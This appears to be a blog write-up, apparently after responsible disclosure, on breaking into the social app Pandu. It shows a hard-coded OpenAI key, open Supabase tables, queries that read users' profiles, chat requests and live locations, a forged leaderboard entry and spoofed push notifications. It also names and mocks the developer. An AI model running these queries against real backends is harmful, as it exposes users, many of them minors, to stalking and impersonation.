"JUST FUCKING SHIP IT" (or: on vibecoding)
07/09/25
because some people simply shouldn't be allowed to use the internet

Update

The developer has been given responsible disclosure and I have been informed that steps are being taken to address the security concerns.


Preface

I have minimal experience with exploitation or security research- some techniques employed in this write-up are almost certainly suboptimal. This is not a tutorial, do not treat it as such. Sensitive information has been censored as best as possible.

Introduction

Earlier in the year I attended a hackathon organized by my university's IEEE branch. My team and I managed to hack together a pretty decent submission, and for our efforts, we were rewarded with second place. Among the submissions, a one Mentora piqued my interest. Mentora marketed itself as an "AI tutor", seeking to gamify quizzes and provide personalized lesson plans using, you guessed it, large language models.

Interested, I began to explore the "How we built it" section of the Devpost. React Native, Supabase, and OpenAI integration. Yup! This reeks of vibe coder slop. Unfortunately, Mentora never seemed to see the light of day. Luckily, our hero didn't stop there, and this time he's breaking into the social media market. Enter: Pandu.

What even is Pandu?

Much like Mentora, Pandu is a pretty generic take on an existing genre but with more AI slop. Disappointingly, there is yet to be an Android release of Pandu, and given that I don't own any Apple devices, investigating this might be a little rough.

First Steps

Apparently, Apple's IPA format is encrypted, meaning that blindly pulling files from a server and expecting to be able to read them isn't going to work. Luckily, someone has managed to automate this process of decrypting these bundles and has even been so kind as to expose the tooling behind a Telegram bot.

Dumping Pandu IPA

After acquiring the decrypted IPA, I simply suffixed the file with .zip and extracted it:

unzip pandu_ipa_v103.ipa.zip

The archive yielded a Payload/ folder, with the following structure:

Pandu Dump Folder Tree

The main file of interest here is the main.jsbundle, which appears to be a JavaScript bundle compiled with Hermes. After a quick pass with hermes-dec, I was left with a mostly readable blob of pseudocode:

python hbc_decompiler.py ./Payload/Pandu.app/main.jsbundle pandu_decomp.js

Initial Investigation

I began my search by looking for very low-hanging fruit. Surely an app published on the App Store wouldn't expose an OpenAI key, right?

grep "'sk-" pandu_decomp.js
r11 = 'sk-proj-*************************************************';

WHAT? There. Is. No. Way.

curl "https://api.openai.com/v1/responses" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer sk-proj-********" \
    -s \
    -d '{
        "model": "gpt-4.1",
        "input": "Write me a haiku about why it is not a great idea to hard-code OpenAI API keys into client-facing applications."
    }' | jq -r '.output[0].content[0].text'
Secrets in plain sight—  
Exposed keys invite misuse,  
Guard doors, don’t paint signs.

So it turns out that all the fancy LLM integration is handled client-side, with the users' device issuing the OpenAI API queries and forwarding the output to the "backend" (if you can even call it that, I'll get to this later).

Now that we know that LLM queries are handled client-side, it shouldn't be too difficult to pull out the system prompt.

An LLM prompt isn't exactly "valuable information," and "prompt engineering" is most definitely not a skill- Nonetheless I'm expecting this to be quite funny.

"You are a Gen Z App, You are Pandu,you are helping a user spark conversations with a new user, you are not cringe and you are not too forward, be human-like. You generate 1 short, trendy, and fun conversation starter. It should be under 100 characters and should not be unfinished. It should be tailored to the user's vibe or profile info. Keep it casual or playful and really gen z use slangs and emojis. No Quotation mark"

I wonder what prompted him to tell the model not to be cringe.

Supabase

If you aren't familiar, Supabase is a Backend-as-a-Service, providing CRUD-accessible endpoints, a database, storage buckets, authentication, and even real-time communication. The upside of something like this is that you don't need to understand the complexities that come with backend development in order to build something that "just works". However, you'll later come to see that this is also a hidden downside, as some people shouldn't be permitted within 10 feet of a backend.

Taking the place of a standard database, Supabase expects the client to talk directly to the database- now, you might be thinking to yourself: "isn't that a horrible idea?" and to your question, I'll reply "yes." The assumption is that the person in charge of configuring Supabase will correctly dish out permissions such that end-users cannot simply read/write to arbitrary relations, but as you'll soon see, this is not always the case.

With the decompiled pseudocode in hand, it was as simple as grepping for a few keywords:

function(...) {
    ...
    r1 = {'storage': null, 'autoRefreshToken': true, 'persistSession': true, 'detectSessionInUrl': false};
    r3 = r3.default;
    r1['storage'] = r3;
    r4['auth'] = r1;
    r3 = 'https://XXXXXXXXXXXX.supabase.co'; // supabaseUrl
    r1 = 'eyJh.XXXXXXXX.XXXXXXXXX';          // supabaseAnonKey
    r1 = r5.bind(r0)(r3, r1, r4);            // r1 = createClient(supabaseUrl, supabaseAnonKey, r4);
    r2['supabase'] = r1;
    r1 = r1.auth;
    r1 = r1.admin;
    r2['adminAuthClient'] = r1;
    return r0;
};

Now that we have the Supabase information, it's time to go hunting for relations that might be useful. After some investigation, it appears that all Supabase queries follow roughly the same pattern in the pseudocode:

r6 = r4.supabase; // supabase.from('user_wallet')...
r4 = r6.from;
r13 = 'user_wallet';
...

With this in mind, we can write some cheeky Python that'll help us filter through this checks notes 1.5M LoC blob.

I know that this could be accomplished with a regex, but I'm stubborn and refuse to change

relations: list[str] = []

with open("pandu_decomp.js") as file:
    lines = file.readlines()

    for line_num, line in enumerate(lines):
        if "supabase" not in line:
            continue

        if "from" not in lines[line_num + 1] or "":
            continue

        target_line = lines[line_num + 2] or ""

        if "'" in target_line:
            target_line_parts = target_line.split("'")
            relation = target_line_parts[1]

            if relation not in relations:
                relations.append(relation)
                print(relation)

And let's run it!

python find_relations.py

profiles
user_wallet
user_progression
engagement_scores
user_interests
user_locations
user_wallets
flaggame
user_friendships
friend_requests
blocked_users
reports
game_requests
guessmoji_game
rizzme_game
tic_tac_toe_game
truthordare_game
user_views
user_likes
game_ideas
chat_requests

These relation names are... interesting to say the least.

Let's poke around and see what we have access to, a quick select from the profiles relation doesn't seem like a terrible idea ;).

import { createClient } from '@supabase/supabase-js';

const supabaseUrl = 'https://XXXXXXXXXXXX.supabase.co';
const supabaseAnonKey = 'eyJh.XXXXXXXX.XXXXXXXXX';

const supabase = createClient(supabaseUrl, supabaseAnonKey, {});

const result = await supabase
    .from("profiles")
    .select()
    .limit(1)

console.log(result["data"])
[
  {
    "id": "3c0f201b-6dee-4858-85d4-ced865223027",
    "updated_at": "2025-06-24T02:33:22.3+00:00",
    "nickname": null,
    "age": null,
    "birth_date": null,
    "gender": null,
    "user_id": null,
    "bio": null,
    "avatar_url": [ null ],
    "expo_push_token": null,
    "created_at": null,
    "username": null,
    "full_name": null,
    "completed_onboarding": false,
    "hasActiveSubscription": false,
    "engagement_score": 0,
    "online": true,
    "verified": false
  }
]

Well, this is odd. I'm assuming this is a blank account that was created during testing? Either way, we now have a list of fields which is exactly what I was looking for.

let brokenProfiles = await supabase
    .from("profiles")
    .select()
    .is("username", null)

let nonBrokenProfiles = await supabase
    .from("profiles")
    .select()
    .not("username", "is", null)

let suckers = await supabase
    .from("profiles")
    .select()
    .eq("hasActiveSubscription", true)

console.log("broken profiles:", brokenProfiles["data"].length);
console.log("non-broken profiles:", nonBrokenProfiles["data"].length);
console.log("suckers:", suckers["data"].length);
broken profiles: 1286
non-broken profiles: 9427
suckers: 146

Weird. I'm not quite sure what this indicates, but those numbers are certainly interesting.

(Can you believe that nearly 10k people were dumb enough to sign up for this app?)

Expo

I've gone ahead and had my girlfriend create an account on her iPhone, this way I can explore a little more without having to worry about stepping on anyone's toes.

let result = await supabase
    .from("profiles")
    .select()
    .eq("username", "zoe604385")
{
    "id": "67cf4fd4-90b0-4f90-9103-1e53dca44787",
    "updated_at": "2025-07-07T02:05:50.224+00:00",
    "nickname": "zoe",
    "age": 25,
    "birth_date": "2000-01-01",
    "gender": "other",
    "user_id": null,
    "bio": "i am passionate about gooning",
    "avatar_url": [ "1751232382134_0.jpg" ],
    "expo_push_token": "ExponentPushToken[**********]",
    "created_at": "2025-06-29T21:24:34.481+00:00",
    "username": "zoe604385",
    "full_name": null,
    "completed_onboarding": true,
    "hasActiveSubscription": false,
    "engagement_score": 2.8,
    "online": false,
    "verified": false
}

There are a few things here that are noteworthy, but let's investigate the expo_push_token field. It appears that any time a notification is to be sent out, it is issued by the client, with the following steps being taken:

  1. Client queries profiles relation for recipients' Expo push token
  2. Client issues POST request to Expo containing the notification content and the recipient's token
  3. Recipient queries Expo for pending notifications
  4. Recipient displays notification
Decompiled Pseudocode for Sending Notifications
r10 = r6;
r8 = global;
r6 = r8.HermesInternal;
r9 = r6.concat;
r7 = '';
r6 = ' won the Flag Game! 🏆🏳️';
r12 = r9.bind(r7)(r10, r6);
r9 = r8.fetch;
r7 = {};
r6 = 'POST';
r7['method'] = r6;
r6 = {};
r10 = 'application/json';
r6['Content-Type'] = r10;
r7['headers'] = r6;
r11 = r8.JSON;
r10 = r11.stringify;
r6 = {'to': null, 'title': 'Game Over 💔', 'body': null, 'data': null, 'sound': 'default', 'priority': 'high', 'channelId': 'default'};
r15 = r15.expo_push_token;
r6['to'] = r15;
r6['body'] = r12;
r12 = {'type': 'game_win', 'gameId': null, 'screen': 'FlagGame'};
r14 = _closure2_slot3;
r12['gameId'] = r14;
r12['winner'] = r13;
r6['data'] = r12;
r6 = r10.bind(r11)(r6);
r7['body'] = r6;
r6 = 'https://exp.host/--/api/v2/push/send';
r6 = r9.bind(r1)(r6, r7);

Under no circumstances should these Expo tokens be exposed to clients, however, the very architecture of this application relies on that being the case. With that in mind, I'm quite sure that it's possible to issue arbitrary push notifications to any user. According to the official Expo Docs all we need to do is issue the following POST request:

curl -H "Content-Type: application/json" -X POST "https://exp.host/--/api/v2/push/send" -d '{
  "to": "ExponentPushToken[**********]",
  "title":"<title>",
  "body": "<body>"
}'

I wonder if it worked...

Pandu Notifications

Hall of Fame

The main feature that sets Pandu apart from other social media platforms is its integration of games. Despite being poorly executed and far from original, there seems to be a group of people competing for spot #1 on the in-game leaderboard. I don't quite like Pandu, but I definitely am competitive by nature- let's see what we can do.

The rankings seem to be calculated client-side by simply querying the user_progression relation for the top 20 users sorted by total win count.

r1 = new Array(2);
r1[0] = r13;
r19 = _closure1_slot5;
r20 = r19.supabase;
r19 = r20.from;
r21 = 'user_progression';
r22 = r19.bind(r20)(r21);
r20 = r22.select;
r19 = 'id, username, nickname, wins, level, profiles!inner (avatar_url,age)';
r24 = r20.bind(r22)(r19);
r22 = r24.order;
r19 = {};
r19['ascending'] = r3;
r20 = 'wins';
r24 = r22.bind(r24)(r20, r19);
r22 = r24.limit;
r19 = 20;
r19 = r22.bind(r24)(r19);
r1[1] = r19;
r1 = r7.bind(r18)(r1);
SaveGenerator(address=309);
Cleaned-up Rankings Query
let leaderboard = await supabase
    .from("user_progression")
    .select("id, username, nickname, wins, level, profiles!inner (avatar_url,age)")
    .order("wins", { ascending: false })
    .limit(20);

Presumably, all we should have to do is create a profile and propagate those aforementioned fields such that we satisfy the query. Additionally, we need to set the user_id field to satisfy the foreign key relationship between user_progression and profiles.

First, let's create the account:

const auth = await supabase.auth.signUp(
    { 
        email: "john@fortnite.com",
        password: "fuckyounerd", 
    }
);

const userId = auth.data.user.id;

And now we can propagate the fields of the relations:

await supabase
    .from("user_progression")
    .upsert(
        {
            id: userId,
            user_id: userId,
            username: "john_fortnite_xx",
            nickname: "john xx fortnite",
            wins: 6969,
            level: 1000000,
        }
    );

await supabase
    .from("profiles")
    .upsert(
        {
            id: userId,
            user_id: userId,
            age: 100,
            avatar_url: ["totallyrealimage.png"]
        }
    );

And voilà! :)

Pandu Leaderboard

Chats

Moving on to something a bit more serious, the privacy implications of using software built by someone whose productive output is directly tied to the uptime of Cursor is absolutely horrendous. Despite his apparent lack of competence, it appears that he has (miraculously) managed to implement user chat sessions in a pretty solid way. By piggybacking off of Supabase's authentication and StreamChat's real-time communication API, he has completely avoided doing any heavy lifting himself. Smart.

With this in mind, we should look for the tiny portion of this stack that he is responsible for creating. Before a chat session is initialized, a "chat request" is first sent out to a user, after which they can choose to either accept or reject the invitation. Checking the table of relations we mined earlier, the chat_requests relation seems like it might be relevant. Let's investigate.

await supabase
    .from("chat_requests")
    .select()
    .limit(1);
[
  {
    "id": "4a9793fd-2a12-4142-baa1-9552cf5df39c",
    "created_at": "2025-04-17T01:02:26.087669+00:00",
    "sender_id": "0f982e76-6479-4f7d-a995-b26a6d5ee5b6",
    "sender_name": "Christian",
    "sender_avatar": "1744702431504.jpg",
    "receiver_id": "42a26d91-8ea3-492c-9038-ac1b79633e53",
    "receiver_name": "Christopher",
    "receiver_avatar": "1",
    "message": "Yo wassup",
    "status": "accepted"
  }
]

Yup! Our suspicion is confirmed. Every single chat request is public! This is truly a nightmare. Even worse, I seemingly have read/write access to this table, meaning it's feasible to send chat requests with arbitrary messages on behalf of other users.

User Location

Okay, I think it's time we stop beating around the bush. I'm sure if you've been an attentive reader you will have noticed the user_locations relation from earlier. The in-app use case of this appears to be matching users up with others who are geographically close to them. While I understand the justification for a feature like this, the execution here is dangerously flawed. With a single select I am able to pull the live geographic location of any user on the app. You heard me right. This is not the future of social media, it's a sexual predator's wet dream.

await supabase
    .from("user_locations")
    .select()
    .eq("id", "0f982e76-6479-4f7d-a995-b26a6d5ee5b6")
[
  {
    "created_at": "2025-03-17T16:15:45.062944+00:00",
    "latitude": *************,
    "longitude": *************,
    "country": "United States",
    "state": "NY",
    "last_updated": "2025-04-15T07:30:23.973+00:00",
    "city": "Albany",
    "id": "0f982e76-6479-4f7d-a995-b26a6d5ee5b6",
    "user_id": "0f982e76-6479-4f7d-a995-b26a6d5ee5b6"
  }
]  

If you need even more compelling evidence that this app is downright dangerous, take a quick look at this histogram of profile count by age:

Pandu Profile Age Histogram

Nearly a thousand children under the age of 18 with their live location, photo, and age being beamed up to a database that's left wide open. Criminal.

Enter Christian

Pandu Porn Bad Christian is the "mastermind" behind this technological shitshow and its parent company, Lunexis. As you've already seen, this man needs no introduction.

Pandu had Eight Rejections

At first, I was wondering how he managed to even publish something like this, but I'm starting to think that Apple just got tired of rejecting it over and over.

Takeaway

"Vibe coding" isn't just a cheap shortcut, it's reckless and dangerous. Christian's incompetence is jeopardizing the privacy of hundreds of people, all while he lines his pockets. What he is doing is illegal, perverse, and downright disgusting.

Think I'm exaggerating? I was planning on doing some math to estimate his MRR, but it looks like he's already gone ahead and bragged about it on Twitter.

Pandu MRR

Earlier in this write-up I managed to identify 146 active subscribers, assuming this figure is accurate and his revenue-per-subscription has stayed constant, that leaves us with an estimated MRR just north of $2,500. He is making serious money and has absolutely no clue what he's doing!

Call to Action

Calling this platform harmful is not an understatement. I am urging you to stop supporting this creator, report the app immediately, and get friends and loved ones off of this app as swiftly as possible.